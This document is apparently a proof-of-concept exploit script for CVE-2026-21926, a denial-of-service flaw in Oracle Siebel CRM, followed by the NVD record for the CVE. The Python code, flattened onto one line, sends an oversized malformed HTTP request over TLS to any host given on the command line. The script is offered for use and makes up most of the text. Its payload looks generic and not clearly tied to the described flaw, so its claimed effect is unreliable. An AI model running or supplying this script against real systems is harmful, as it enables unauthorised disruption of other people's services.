CVE-2026-21926

import socket import ssl import sys # CVE-2026-21926 PoC - Siebel CRM DoS # Target: Oracle Siebel CRM Deployment def create_tls_socket(target_host, target_port): context = ssl.create_default_context() context.check_hostname = False context.verify_mode = ssl.CERT_NONE raw_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) tls_socket = context.wrap_socket(raw_socket, server_hostname=target_host) try: tls_socket.connect((target_host, target_port)) return tls_socket except Exception as e: print(f"Connection failed: {e}") return None def exploit_cve_2026_21926(target_host, target_port=443): print(f"[*] Targeting {target_host}:{target_port}") print(f"[*] Exploiting CVE-2026-21926 - Siebel CRM DoS") tls_socket = create_tls_socket(target_host, target_port) if not tls_socket: return False # Malformed request to trigger DoS condition payload = b"GET /siebel/v111 HTTP/1.1\r\nHost: " + target_host.encode() + b"\r\n" payload += b"Content-Length: 999999\r\nConnection: keep-alive\r\n\r\n" payload += b"A" * 65535 + b"\r\n" try: tls_socket.send(payload) print("[+] Malicious request sent") print("[*] Target should experience hang or crash") return True except Exception as e: print(f"[-] Exploit failed: {e}") return False finally: tls_socket.close() if __name__ == "__main__": if len(sys.argv) < 2: print("Usage: python cve-2026-21926.py <target_host>") sys.exit(1) target = sys.argv[1] exploit_cve_2026_21926(target)

{"cve": {"id": "CVE-2026-21926", "sourceIdentifier": "[email protected]", "published": "2026-01-20T22:15:55.050", "lastModified": "2026-01-29T21:22:10.120", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Vulnerability in the Siebel CRM Deployment product of Oracle Siebel CRM (component: Server Infrastructure). Supported versions that are affected are 17.0-25.2. Easily exploitable vulnerability allows unauthenticated attacker with network access via TLS to compromise Siebel CRM Deployment. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of Siebel CRM Deployment. CVSS 3.1 Base Score 7.5 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)."}, {"lang": "es", "value": "Vulnerabilidad en el producto Siebel CRM Deployment de Oracle Siebel CRM (componente: Infraestructura del servidor). Las versiones compatibles que están afectadas son 17.0-25.2. Una vulnerabilidad fácilmente explotable permite a un atacante no autenticado con acceso a la red a través de TLS comprometer Siebel CRM Deployment. Los ataques exitosos de esta vulnerabilidad pueden resultar en la capacidad no autorizada de causar un bloqueo o una caída repetible con frecuencia (DoS completo) de Siebel CRM Deployment. Puntuación base CVSS 3.1 de 7.5 (Impactos en la disponibilidad). Vector CVSS: (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:oracle:siebel_customer_relationship_management_deployment:*:*:*:*:*:*:*:*", "versionStartIncluding": "17.0", "versionEndIncluding": "25.2", "matchCriteriaId": "A0FF4EF8-2D6E-4739-9737-1CADDCB51792"}]}]}], "references": [{"url": "https://www.oracle.com/security-alerts/cpujan2026.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}